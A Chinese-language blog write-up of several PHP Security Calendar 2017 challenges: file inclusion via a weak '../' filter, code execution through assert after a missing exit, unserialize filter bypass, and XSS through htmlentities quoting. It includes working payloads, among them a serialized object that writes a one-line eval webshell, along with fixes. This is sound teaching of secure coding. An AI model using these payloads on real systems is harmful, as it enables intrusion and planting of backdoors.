• PHP SECURITY CALENDAR 2017 (Day 9


    源码是这样的

    class LanguageManager {
      public function loadLanguage() {
        $lang = $this->getBrowserLanguage();
        $sanitizedLang = $this->sanitizeLanguage($lang);
        require_once("/lang/$sanitizedLang");
      }
    
      private function getBrowserLanguage() {
        $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
        return $lang;
      }
    
      private function sanitizeLanguage($language) {
        return str_replace('../', '', $language);
      }
    }
    
    (new LanguageManager())->loadLanguage();

    这里考察的是 str_replace 函数过滤不当造成的任意文件包含漏洞。程序仅仅只是将 ../ 字符替换成空,这并不能阻止攻击者进行攻击。例如攻击者使用payload:....// 或者 ..././ ,在经过程序的 str_replace 函数处理后,都会变成 ../ 

    另外??语法是php7的新特性,例子如下

    $z = $x ?? $y;
    //等价于
    $z = isset($x) ? $x : $y;
    
    $z = $x ?: $y;
    //等价于
    $z = $x ? $x : $y

    (*)修复

    如果这里的功能是加载远程图片,单纯的修复路径穿越是不可行的

    $dir = str_replace(array('..','//'), '', $_GET['dir']);

    作者给出的适用于加载远程图片的修复代码如下

    $dir = str_replace('..', '', $dir = $_GET['path']);
    if(stripos($dir, 'http://')===0 or stripos($dir, 'https://')===0){
        header("Content-type: image/jpeg");
        ob_start();
        readfile($dir);
        ob_flush();
        flush();
        die;
    }
    else die("Hacker found!");

    stripos 查找字符串首次出现的位置(不区分大小写)

    header 发送原生 HTTP 头,必须在任何实际输出之前调用,不管是普通的 HTML 标签,还是文件或 PHP 输出的空行,空格

    ob_start 此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中

    readfile 读取文件并写入到输出缓冲

    ob_flush 这个函数将送出缓冲区的内容(如果里边有内容的话)

    flush 刷新输出缓冲

    参考:

    https://xz.aliyun.com/t/2633

     源码是这样的

     1 extract($_POST);
     2 
     3 function goAway() {
     4   error_log("Hacking attempt.");
     5   header('Location: /error/');
     6 }
     7 
     8 if (!isset($pi) || !is_numeric($pi)) {
     9   goAway();
    10 }
    11 
    12 if (!assert("(int)$pi == 3")) {
    13   echo "This is not pi.";
    14 } else {
    15   echo "This might be pi.";
    16 }

    这道题目考察的是当检测到攻击时,虽然有相应的防御操作,但是程序未立即停止退出,导致程序继续执行的问题。程序在第一行处使用 extract 函数,将POST请求的数据全都注册成变量, extract 函数的定义为从数组中将变量导入到当前的符号表,就是把数组中的键值对注册成变量

    举个例子

    <?php
        $collors = array(
            "red" => "红色",
            "blue" => "蓝色",
            "green" => "绿色",
        );
        extract($collors);
        echo "$red $blue $green $yellow";
        //输出:红色 蓝色 绿色    
    ?>

    这样就可以控制第7行处的 pi 变量。程序对 pi 变量进行简单的验证,如果不是数字或者没有设置 pi 变量,程序就会执行 goAway 方法,即记录错误信息并直接重定向到 /error/ 页面。程序员这里是对非法的操作进行了一定的处理。但是关键在于程序在处理完之后,没有立即退出,这样程序又会按照流程执行下去,也就到了第11行的 assert 语句(assert 检查一个断言是否为 FALSE)。由于前面 pi 变量可以被用户控制,所以在这一行存在远程代码执行漏洞。

    例如payload为:pi=phpinfo() (这里为POST传递数据),然后程序就会执行这个 phpinfo 函数。在浏览器端可能看不到 phpinfo 的页面(显示internal sever errror),但是用 BurpSuite ,就可以看到程序执行了 phpinfo 函数

    (*)修复

    要修复这一类型的漏洞,只要在正确的地方退出程序即可,使用 die 、 exit 等函数都可以。例如这道题就可以在第五行代码后写入 die(); 直接添加退出函数,避免漏洞发生

    参考:

    https://xz.aliyun.com/t/2668

    源码是这样的

     1 class Template {
     2   public $cacheFile = '/tmp/cachefile';
     3   public $template = '<div>Welcome back %s</div>';
     4 
     5   public function __construct($data = null) {
     6     $data = $this->loadData($data);
     7     $this->render($data);
     8   }
     9 
    10   public function loadData($data) {
    11     if (substr($data, 0, 2) !== 'O:'
    12       && !preg_match('/O:d:/', $data)) {
    13       return unserialize($data);
    14     }
    15     return [];
    16   }
    17 
    18   public function createCache($file = null, $tpl = null) {
    19     $file = $file ?? $this->cacheFile;
    20     $tpl = $tpl ?? $this->template;
    21     file_put_contents($file, $tpl);
    22   }
    23 
    24   public function render($data) {
    25     echo sprintf(
    26       $this->template,
    27       htmlspecialchars($data['name'])
    28     );
    29   }
    30 
    31   public function __destruct() {
    32     $this->createCache();
    33   }
    34 }
    35 
    36 new Template($_COOKIE['data']);

    题目考察对php反序列化函数的利用。在第10行 loadData() 函数中,发现了 unserialize 函数对传入的 $data 变量进行了反序列。在反序列化前,对变量内容进行了判断,先不考虑绕过,跟踪一下变量,看看变量是否可控。在代码第6行,调用了 loadData() 函数,$data 变量来自于 __construct() 构造函数传入的变量。代码第36行,对 Template 类进行了实例化,并将 cookie 中键为 'data' 数据作为初始化数据进行传入,$data 数据可控。开始考虑绕过对传入数据的判断。

    代码11行 ,第一个 if 截取前两个字符,判断反序列化内容是否为对象,如果为对象,返回为空。但是一个对象序列化出来的前两位就是O:,php可反序列化类型有 String,Integer,Boolean,Null,Array,Object。去除掉 Object 后,考虑采用数组中存储对象进行绕过。

    第二个 if ,正则匹配,O: 后面不可以是数字,可以在 O: 后面可以增加 + ,用来绕过正则判断。

    绕过了过滤以后,接下来考虑怎样对反序列化进行利用,反序列化本质是将序列化的字符串还原成对应的类实例,在该过程中,我们可控的是序列化字符串的内容,也就是对应类中变量的值。我们无法直接调用类中的函数,但PHP在满足一定的条件下,会自动触发一些函数的调用,该类函数,我们称为魔术方法。通过可控的类变量,触发自动调用的魔术方法,以及魔术方法中存在的可利用点,进而形成反序列化漏洞的利用。

    代码31行,对象销毁时会调用 createCache() 函数,函数将 $template 中的内容放到了 $cacheFile 对应的文件中。 file_put_contents() 函数,当文件不存在时,会创建该文件。由此可构造一句话,写入当前路径。

    还有一个知识点,cookie 的值中不可以有分号,构造 payload 后需要使用 url 编码

    实验一下

    <?php
        class Template{
            public $cacheFile = './test.php';
            public $template = '<?php eval($_POST[xx])?>';
        }
        echo (serialize(array(new Template())));
    ?>

    输出

    a:1:{i:0;O:8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}

    8 前面加上 + 再编码,改 cookie 即可将一句话木马成功写入文件

    记录一下常见魔术方法:

    __wakeup()    //使用unserialize时触发
    __sleep()     //使用serialize时触发
    __destruct()  //对象被销毁时触发
    __call()      //在对象上下文中调用不可访问的方法时触发
    __callStatic()//在静态上下文中调用不可访问的方法时触发
    __get()       //用于从不可访问的属性读取数据
    __set()       //用于将数据写入不可访问的属性
    __isset()     //在不可访问的属性上调用isset()或empty()触发
    __unset()     //在不可访问的属性上使用unset()时触发
    __toString()  //把类当作字符串使用时触发
    __invoke()    //当脚本尝试将对象调用为函数时触发

    (*)修复

    传入反序列化函数的参数不可控

    参考:

    https://xz.aliyun.com/t/2733

     源码是这样的

     1 $sanitized = [];
     2 
     3 foreach ($_GET as $key => $value) {
     4   $sanitized[$key] = intval($value);
     5 }
     6 
     7 $queryParts = array_map(function ($key, $value) {
     8   return $key . '=' . $value;
     9 }, array_keys($sanitized), array_values($sanitized));
    10 
    11 $query = implode('&', $queryParts);
    12 
    13 echo "<a href='/images/size.php?" .
    14   htmlentities($query) . "'>link</a>";

    这里考察的是个 xss漏洞 , 漏洞触发点在代码中的第13-14行。这两行代码的作用是直接输出一个html的 <a> 标签。代码中的第3-5行,foreach循环对 $_GET 传入的参数进行了处理,但是这里有个问题,第四行的代码,这行代码针对 $value 进行类型转换,强制变成 int 类型。但是这部分代码只处理了 $value 变量,没针对 $key 变量进行处理。经过了第3-5行的代码处理之后,根据 & 这个符号进行分割,然后拼接到第13行的 echo 语句中,在输出的时候又进行了一次 htmlentities 函数处理。 

    htmlentities 将字符转换为 HTML 转义字符

    注:htmlentities() 并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数)。第2个参数取值有3种,分别如下:

    ENT_COMPAT(默认值):只转换双引号。

    ENT_QUOTES:两种引号都转换。

    ENT_NOQUOTES:两种引号都不转换。

    整理一下信息:这里的 $query 参数可控、且 htmlentities 函数在这里可逃逸单引号、xss的漏洞触发点在 <a> 标签。

    本地做一下实验 test.php,payload:%27onclick%3dalert(1)//

    <?php
        $query = $_GET['query'];
        echo "<a href='/images/size.php?" . htmlentities($query) . "'>link</a>";
    ?>

    (*)修复

    htmlentities 函数,在使用的时候尽量加上可选参数,并且选择 ENT_QUOTES 参数。

    参考:

    https://xz.aliyun.com/t/2757

  • 相关阅读:
    angualr清除定时器
    flex布局常用属性
    将数组分割为几个等长度的子数组(使用slice)
    vue+element搭建的后台管理系统
    世界这么大,我想去看看!!!
    angularJs自定义指令(directive)实现滑块滑动
    适用初学者:vue2.0构建单页应用最佳实战
    笔记本win10安装node的尖酸历程。。。。。。
    js对数组处理(数组里边相同元素提取成map)
    快速搞定用Vue+Webpack搭建前端项目(学习好久了,该写点东西了......)
  • 原文地址:https://www.cnblogs.com/wkzb/p/12594518.html
Copyright © 2020-2023  润新知